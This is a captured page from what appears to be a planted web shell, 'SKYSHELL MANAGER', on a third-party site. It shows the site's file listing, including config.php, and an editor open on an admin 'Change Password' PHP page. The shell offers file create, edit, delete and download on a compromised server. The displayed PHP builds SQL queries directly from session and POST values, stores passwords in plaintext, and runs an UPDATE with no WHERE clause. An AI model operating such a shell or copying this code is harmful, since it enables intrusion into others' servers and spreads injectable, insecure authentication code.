📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
3358.41 KB
0644
🗑️
⬇️
✏️
🔒
Editing: update.php
<?php include"admin_checker1.php";?> <!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="UTF-8"> <title> </title> <link rel="stylesheet" href="style.css"> <!-- Boxicons CDN Link --> <link href='https://unpkg.com/boxicons@2.0.7/css/boxicons.min.css' rel='stylesheet'> <meta name="viewport" content="width=device-width, initial-scale=1.0"> </head> <body> <div class="sidebar"> <ul class="nav-links"> <li> <a href="badmin.php" > <i class='bx bx-grid-alt' ></i> <span class="links_name">Dashboard</span> </a> </li> <li> <a href="aview.php" class="active"> <i class='bx bx-grid-alt' ></i> <span class="links_name">Register Riders</span> </a> </li> <li> <a href="riders.php" class="active"> <i class='bx bx-grid-alt' ></i> <span class="links_name">Riders</span> </a> </li> <li> <a href="uc.php" class="active"> <i class='bx bx-grid-alt' ></i> <span class="links_name">Users</span> </a> </li> <li> <a href="edd.php" class="active"> <i class='bx bx-grid-alt' ></i> <span class="links_name">Edit User</span> </a> </li> <li> <a href="update.php" class="active"> <i class='bx bx-grid-alt' ></i> <span class="links_name">Change Password</span> </a> </li> <li> <a href="send.php" class="active"> <i class='bx bx-grid-alt' ></i> <span class="links_name">Send Message</span> </a> </li> <li> <a href="staffes.php" class="active"> <i class='bx bx-grid-alt' ></i> <span class="links_name">Staff</span> </a> </li> <li> <a href="staff.php" class="active"> <i class='bx bx-grid-alt' ></i> <span class="links_name">Create Staff</span> </a> </li> <li> <a href="price.php" class="active"> <i class='bx bx-grid-alt' ></i> <span class="links_name">Prices</span> </a> </li> <li> <a href="cepen.php" class="active"> <i class='bx bx-grid-alt' ></i> <span class="links_name">Create Expense</span> </a> </li> <li> <a href="pen.php" class="active"> <i class='bx bx-grid-alt' ></i> <span class="links_name">Expense</span> </a> </li> <li> <a href="port.php" class="active"> <i class='bx bx-grid-alt' ></i> <span class="links_name">Report Table</span> </a> </li> <li class="log_out"> <a href="logout.php"> <i class='bx bx-log-out'></i> <span class="links_name">Log out</span> </a> </li> </ul> </div> <?php include "connect_to_mysqli.php"; $code = $password="" ; $code = $_SESSION['user']; $password = $_SESSION['pass']; $check = "select * from admob where email = '".$code."' && pass = '".$password."'"; $query = mysqli_query($con,$check); if (mysqli_affected_rows($con) == 0) { echo "<div class='era'><center>Authentication failed</center><br><br>"; echo "<center><a href = '../index.php'><font color='red'>LOGIN AGAIN</font></a></center></div>"; } else { $sql = "SELECT * from admob where email = '".$code."' "; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) { $id = $row["s"]; $name = $row['Name']; $email = $row['email']; } } ?> <section class="home-section"> <nav> <div class="sidebar-button"> <i class='bx bx-menu sidebarBtn'></i> <span class="dashboard">CHANGE PASSWORD</span> </div> <div class="profile-details"> <span class="admin_name"><?php echo $name;?></span> </div> </nav> <section id="pricing" class="pricing"> <div class="row"><br> <br> <br><br> <br> <br> <br> <br> <br> <form method="post" action="" style="font-size:15px;"> <div class="row"> <center> <div class="row"><center> <div class="col-lg-4"> <input type="password" style="border:0; color:black; width:300px; outline:0; background:transparent; border-bottom:2px solid #FF0096;" placeholder="*Enter New Password" name="pod" required> </div></center></div><br> <center><div class="col-lg-12"> <BR> <input type="submit" name="submit" id="button" value="Update" class="btn-buy" style="background-color:#FF0996; padding:4px 10px; border:#FF0996; color:#FFFFFF;" /> </div></center> </div> </form><br><br> <center style="color:#FF0996;"> <?php include "connect_to_mysqli.php"; if(empty($_POST['pod'])) { echo ""; } else { $use2 = $_POST['pod']; if (strlen($use2) < 8) { echo "password must have 8 characters or more"; } else{ $insert = mysqli_query($con,"UPDATE admob SET pass = '$use2' ") or die ('Could not connect: ' .mysqli_error($con)); echo "Password successfully Updated "; } } ?> </center> </div> </section> <script> let sidebar = document.querySelector(".sidebar"); let sidebarBtn = document.querySelector(".sidebarBtn"); sidebarBtn.onclick = function() { sidebar.classList.toggle("active"); if(sidebar.classList.contains("active")){ sidebarBtn.classList.replace("bx-menu" ,"bx-menu-alt-right"); }else sidebarBtn.classList.replace("bx-menu-alt-right", "bx-menu"); } </script> </body> </html>
💾 Save Changes